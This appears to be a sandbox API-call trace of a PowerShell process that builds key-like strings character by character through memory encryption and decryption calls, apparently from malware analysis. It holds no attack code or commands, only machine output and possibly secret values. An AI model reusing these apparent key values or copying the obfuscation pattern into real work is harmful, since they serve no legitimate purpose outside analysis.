0x0 [0243.966] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂➗颴٢㰰拟皝빖욄") returned 0x18 [0243.966] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂➗颴٢㰰拟皝빖욄") returned 0x18 [0243.966] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.967] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqle") returned 0x18 [0243.967] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.967] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤") returned 0x18 [0243.967] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤") returned 0x18 [0243.967] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤") returned 0x18 [0243.967] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤") returned 0x20 [0243.967] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.968] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletℱਚ䥔埵躵") returned 0x20 [0243.968] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.968] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤㜬姼䄒欰ﮍ砳") returned 0x20 [0243.968] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤㜬姼䄒欰ﮍ砳") returned 0x20 [0243.968] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.968] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRਚ䥔埵躵") returned 0x20 [0243.968] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.968] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤旼飐ꃊ繮‴쁲鵨䨞") returned 0x20 [0243.968] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤旼飐ꃊ繮‴쁲鵨䨞") returned 0x20 [0243.968] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.980] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNਚ䥔埵躵") returned 0x20 [0243.980] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.981] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ᖃ咎꺩湅㛾핥㻉䉴") returned 0x20 [0243.981] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ᖃ咎꺩湅㛾핥㻉䉴") returned 0x20 [0243.981] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.981] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNR䥔埵躵") returned 0x20 [0243.981] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.981] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤槒髓볤똆湤詞챫㮰") returned 0x20 [0243.981] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤槒髓볤똆湤詞챫㮰") returned 0x20 [0243.981] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.981] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNRE埵躵") returned 0x20 [0243.981] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.981] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤桬ꖓ塎哦↕魈") returned 0x20 [0243.981] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤桬ꖓ塎哦↕魈") returned 0x20 [0243.981] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.982] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH躵") returned 0x20 [0243.982] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.982] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤眏责꽓袖ʊ骱䌞") returned 0x20 [0243.982] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤眏责꽓袖ʊ骱䌞") returned 0x20 [0243.982] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.982] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH2") returned 0x20 [0243.982] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.982] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤策ꮛ糄紳뻔黻⽴墜") returned 0x20 [0243.982] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤策ꮛ糄紳뻔黻⽴墜") returned 0x20 [0243.982] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.982] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26") returned 0x20 [0243.982] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.983] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ⋱) returned 0x20 [0243.983] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ⋱) returned 0x20 [0243.983] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ⋱) returned 0x20 [0243.983] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ峱砀　㈀∀) returned 0x28 [0243.983] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.983] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26L퓔țྚ器⿩ﱺ") returned 0x28 [0243.983] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.984] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹꗱ紘뮢嵢鞧ꟴ浴쏈⋗) returned 0x28 [0243.984] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹꗱ紘뮢嵢鞧ꟴ浴쏈⋗) returned 0x28 [0243.984] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.984] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUțྚ器⿩ﱺ") returned 0x28 [0243.984] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.984] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ࿱䨛♰操窸\囟޳ᖥ") returned 0x28 [0243.984] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ࿱䨛♰操窸\囟޳ᖥ") returned 0x28 [0243.984] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.984] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfྚ器⿩ﱺ") returned 0x28 [0243.984] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.984] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ뇱嬪ꟊ䜒⟚ꢈ∔) returned 0x28 [0243.984] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ뇱嬪ꟊ䜒⟚ꢈ∔) returned 0x28 [0243.984] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.985] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfj器⿩ﱺ") returned 0x28 [0243.985] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.985] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ쇱Ძ䯓連긙딀◅∈) returned 0x28 [0243.985] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ쇱Ძ䯓連긙딀◅∈) returned 0x28 [0243.985] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.985] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfjO⿩ﱺ") returned 0x28 [0243.985] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.985] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ៱⻺፻彷䇵딇⋚) returned 0x28 [0243.985] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ៱⻺፻彷䇵딇⋚) returned 0x28 [0243.985] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.985] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfjObﱺ") returned 0x28 [0243.985] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.986] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ㓱䍘퉅퍏䖂蕙艣⳽⊏) returned 0x28 [0243.986] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ㓱䍘퉅퍏䖂蕙艣⳽⊏) returned 0x28 [0243.986] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.986] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfjOb+ﱺ") returned 0x28 [0243.986] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.986] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ鿱鏇網䆈ॶ王嵺⊄) returned 0x28 [0243.986] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹ鿱鏇網䆈ॶ王嵺⊄) returned 0x28 [0243.986] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.986] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfjOb+R") returned 0x28 [0243.986] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0243.986] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰") returned 0x28 [0243.987] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰") returned 0x28 [0243.987] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰") returned 0x28 [0243.987] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰") returned 0x30 [0243.987] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0243.987] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfjOb+RY↉ᗢ㥙頶៷宼辋") returned 0x30 [0243.987] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0243.987] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰Ꮆ憐ᗗ㎠잘骕ሥ᝕") returned 0x30 [0243.987] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰Ꮆ憐ᗗ㎠잘骕ሥ᝕") returned 0x30 [0243.987] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0243.988] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfjOb+RYVᗢ㥙頶៷宼辋") returned 0x30 [0243.988] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0243.988] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰階绾曺ࢡ젶磼ꨖ") returned 0x30 [0243.988] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰階绾曺ࢡ젶磼ꨖ") returned 0x30 [0243.988] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0243.988] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfjOb+RYV0㥙頶៷宼辋") returned 0x30 [0243.988] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0243.988] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰旓䙷ǎ걜麰햅θ") returned 0x30 [0243.988] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰旓䙷ǎ걜麰햅θ") returned 0x30 [0243.988] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0243.988] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqletRNREH26LUfjOb+RYV0=頶៷宼辋") returned 0x30 [0243.988] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0243.988] EtwEventActivityIdControl () returned 0x0 [0243.989] EtwEventActivityIdControl () returned 0x0 [0243.989] EtwEventActivityIdControl () returned 0x0 [0243.989] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.989] EtwEventActivityIdControl () returned 0x0 [0243.989] EtwEventActivityIdControl () returned 0x0 [0243.989] EtwEventActivityIdControl () returned 0x0 [0243.990] SysStringLen (param_1="") returned 0x8 [0243.990] SysStringLen (param_1="N") returned 0x8 [0243.990] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.991] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.991] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.991] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.991] SysStringLen (param_1="ND") returned 0x8 [0243.991] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.991] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.991] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.991] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.991] SysStringLen (param_1="NDZ") returned 0x8 [0243.991] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.991] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.991] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.991] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.992] SysStringLen (param_1="NDZl") returned 0x8 [0243.992] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.992] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.992] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.992] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.992] SysStringLen (param_1="NDZlO") returned 0x8 [0243.992] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.992] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.992] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.992] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.992] SysStringLen (param_1="NDZlOD") returned 0x8 [0243.992] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.992] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.992] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.993] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.993] SysStringLen (param_1="NDZlODR") returned 0x8 [0243.993] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.993] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.993] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.993] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.993] SysStringLen (param_1="NDZlODRm") returned 0x8 [0243.993] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.993] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0243.994] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.994] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.994] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.994] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.995] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.995] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.995] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.995] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0243.995] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.995] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.995] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0243.995] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.996] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.996] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0243.996] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.996] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.996] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0243.996] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.996] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.996] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0243.997] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.997] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.997] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0243.997] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 